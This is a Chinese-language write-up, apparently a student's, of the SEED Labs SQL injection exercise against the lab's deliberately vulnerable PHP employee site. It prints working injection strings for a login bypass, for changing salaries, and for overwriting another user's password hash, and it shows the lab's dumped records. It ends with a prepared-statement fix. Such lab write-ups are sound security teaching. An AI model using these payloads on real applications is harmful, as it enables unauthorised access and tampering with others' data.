朋友供稿,是一个SQL注入小实验,他做完就到我学习了🥰
实验发布地址:https://seedsecuritylabs.org/chinese/labs/Web/Web_SQL_Injection/
SQL 注入攻击实验
任务1:熟悉SQL语句
SQL 语句:
1 SELECT * FROM credential WHERE Name = 'Alice' ;
任务2:在 SELECT 语句上执行 SQL 注入攻击
任务2.1:网页上的 SQL 注入攻击
由实验报告手册可知,网站由以下代码逻辑来执行身份认证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $input_uname = $_GET ['username' ];$input_pwd = $_GET ['Password' ];$hashed_pwd = sha1 ($input_pwd );... $sql = "SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= '$input_uname ' and Password='$hashed_pwd '" ;$result = $conn -> query ($sql );if (id != NULL ) { if (name=='admin' ) { return All employees information; } else if (name !=NULL ) { return employee information; } } else { Authentication Fails; }
网页端输入的 username 和 password 就是 input_uname 和 input_pwd 变量,我们只知道管理员的 username 是 admin,并不知道密码,因此可以通过在用户名 处加入注释符 # 来将后面的密码判断逻辑注释掉。
因此输入:
用户名:admin' #
密码:123(任意输入都可以)
可得到:
1 SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= 'admin' #' and Password=' 123 '
只剩下对 name 的判断逻辑。
最终结果:
任务2.2:从命令行进行SQL注入攻击
使用 Python 代码生成查询 url
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import urllib.parsebase_url = "http://www.seed-server.com/unsafe_home.php" username = input ("请输入用户名:" ) pwd = input ("请输入密码:" ) params = { 'username' : username, 'Password' : pwd } query_string = urllib.parse.urlencode(params) full_url = base_url + "?" + query_string print ("生成的 Payload URL 如下:" )print (full_url)
得到:
在终端内运行,得到网站的 html 代码:
全文如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="utf-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1, shrink-to-fit=no" > <link rel ="stylesheet" href ="css/bootstrap.min.css" > <link href ="css/style_home.css" type ="text/css" rel ="stylesheet" > <title > SQLi Lab</title > </head > <body > <nav class ="navbar fixed-top navbar-expand-lg navbar-light" style ="background-color: #3EA055;" > <div class ="collapse navbar-collapse" id ="navbarTogglerDemo01" > <a class ="navbar-brand" href ="unsafe_home.php" > <img src ="seed_logo.png" style ="height: 40px; width: 200px;" alt ="SEEDLabs" > </a > <ul class ='navbar-nav mr-auto mt-2 mt-lg-0' style ='padding-left: 30px;' > <li class ='nav-item active' > <a class ='nav-link' href ='unsafe_home.php' > Home <span class ='sr-only' > (current)</span > </a > </li > <li class ='nav-item' > <a class ='nav-link' href ='unsafe_edit_frontend.php' > Edit Profile</a > </li > </ul > <button onclick ='logout()' type ='button' id ='logoffBtn' class ='nav-link my-2 my-lg-0' > Logout</button > </div > </nav > <div class ='container' > <br > <h1 class ='text-center' > <b > User Details </b > </h1 > <hr > <br > <table class ='table table-striped table-bordered' > <thead class ='thead-dark' > <tr > <th scope ='col' > Username</th > <th scope ='col' > EId</th > <th scope ='col' > Salary</th > <th scope ='col' > Birthday</th > <th scope ='col' > SSN</th > <th scope ='col' > Nickname</th > <th scope ='col' > Email</th > <th scope ='col' > Address</th > <th scope ='col' > Ph. Number</th > </tr > </thead > <tbody > <tr > <th scope ='row' > Alice</th > <td > 10000</td > <td > 20000</td > <td > 9/20</td > <td > 10211002</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > <tr > <th scope ='row' > Boby</th > <td > 20000</td > <td > 30000</td > <td > 4/20</td > <td > 10213352</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > <tr > <th scope ='row' > Ryan</th > <td > 30000</td > <td > 50000</td > <td > 4/10</td > <td > 98993524</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > <tr > <th scope ='row' > Samy</th > <td > 40000</td > <td > 90000</td > <td > 1/11</td > <td > 32193525</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > <tr > <th scope ='row' > Ted</th > <td > 50000</td > <td > 110000</td > <td > 11/3</td > <td > 32111111</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > <tr > <th scope ='row' > Admin</th > <td > 99999</td > <td > 400000</td > <td > 3/5</td > <td > 43254314</td > <td > </td > <td > </td > <td > </td > <td > </td > </tr > </tbody > </table > <br > <br > <div class ="text-center" > <p > Copyright © SEED LABs </p > </div > </div > <script type ="text/javascript" > function logout ( ){ location.href = "logoff.php" ; } </script > </body > </html >
任务2.3:附加一个新的 SQL 语句
在登录界面输入:
用户名:admin'; UPDATE credential SET Password = '123' WHERE username = 'admin'; #
密码:123
则最终的 sql 查询代码会变成:
1 SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= 'admin' ; UPDATE credential SET Password = '123' WHERE username = 'admin' ; #' and Password=' 123 '
如果执行成功,则会进行以下操作:
查询 admin 的信息。
把 admin 的密码改成 123。
但实际上网页的反馈是:
原因:PHP 的 mysqli::query() API 限制
查看 unsafe_home.php 源代码中执行 SQL 的代码段:
1 $result = $conn ->query ($sql );
mysqli::query()在设计上只允许执行一条 SQL 语句 。
当传入的字符串包含分号 ; 试图分隔多条语句时,该函数会直接停止执行或报错,它不会执行分号后面的任何内容。
任务 3:在 UPDATE 语句上执行 SQL 注入攻击
任务 3.1:修改自己的工资
由实验手册可知,当员工通过这个编辑资料页面来更新他们的信息时,以下 SQL UPDATE 查询将被执行:
1 2 3 4 5 6 7 8 9 $hashed_pwd = sha1 ($input_pwd );$sql = "UPDATE credential SET nickname='$input_nickname ', email='$input_email ', address='$input_address ', Password='$hashed_pwd ', PhoneNumber='$input_phonenumber ' WHERE ID=$id ;" ;$conn ->query ($sql );
假设 Alice 想要修改自己的工资,已知薪水的列名为 salary ,观察到 update 语句中用逗号继续赋值,可以巧妙设置输入文本来加入想要的东西。
在中间任意一行输入文本 blabla', salary = '999999,例如将这个内容填入 nickname 输入框,拼接后的 SQL 语句为:
1 2 3 UPDATE credential SET nickname= 'blabla' , salary = '999999' , email= '$input_email' , ...
使用任务2中的方法登录到 Alice 的账户:
修改 nickname 栏:
结果:
任务 3.2:修改其他人的工资
有了之前的经验,关键是怎么修改到别人的账户内容。原有的 update 执行逻辑为 WHERE ID=$id,如果能用 WHERE Name = 'Boby' 就可以直接修改了。
联想到任务2中的注释法,我们可以编写文本:douchebag', salary = '1' WHERE Name = 'Boby'; #,用注释符劫持原有的 WHERE 逻辑,拼接后的 SQL 语句为:
1 UPDATE credential SET nickname= 'douchebag' , salary = '1' WHERE Name = 'Boby' ; # ', email=' $input_email', ... WHERE ID=$id;
在 Alice 的账户编辑个人资料:
在 admin 账号查看老板 Boby 的薪水:
任务 3.3:修改其他人的密码
如果利用任务3.2中的逻辑来修改老板的账户密码,我们会直接操作数据库内存储的密码哈希文本, 如果构造 Password='123456' 并成功注入:
数据库里的密码字段变成了 123456。
在登录页面输入 123456。
登录页面的 PHP 代码会将 Boby 输入的 123456 进行 SHA1 哈希,得到
SHA 1 ( 123456 )
。
程序比对:
SHA 1 ( 123456 )
(计算值) 不等于 123456 (数据库存储值)。
因此我们需要首先计算哈希值,利用以下 Python 代码进行计算:
1 2 3 4 5 6 7 8 import hashlibpassword = input ("请输入原密码:" ) sha1_hash = hashlib.sha1(password.encode('utf-8' )).hexdigest() print (f"明文: {password} " )print (f"SHA1: {sha1_hash} " )
输入明文 123456,得到 SHA1 哈希值 7c4a8d09ca3762af61e59520943dc26494f8941b:

通过任务3.2的方法进行 SQL 注入,在 nickname 栏输入 douchebag', Password = '7c4a8d09ca3762af61e59520943dc26494f8941b' WHERE Name = 'Boby';#:
测试成功:
任务 4:防范措施 — Prepared 语句
先展示修复之前的场景:
可见在修复前是不能防范 SQL 注入的。
打开源代码查看,发现负责查询的代码是:
1 2 3 4 $result = $conn ->query ("SELECT id, name, eid, salary, ssn FROM credential WHERE name= '$input_uname ' and Password= '$hashed_pwd '" );
按照手册中的指南修复,将原有的变量 $var 替换为 ? 占位符,并作出预处理修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $sql = "SELECT id, name, eid, salary, ssn FROM credential WHERE name= ? and Password= ?" ;if ($stmt = $conn ->prepare ($sql )) { $stmt ->bind_param ("ss" , $input_uname , $hashed_pwd ); $stmt ->execute (); $result = $stmt ->get_result (); $stmt ->close (); }
修复后: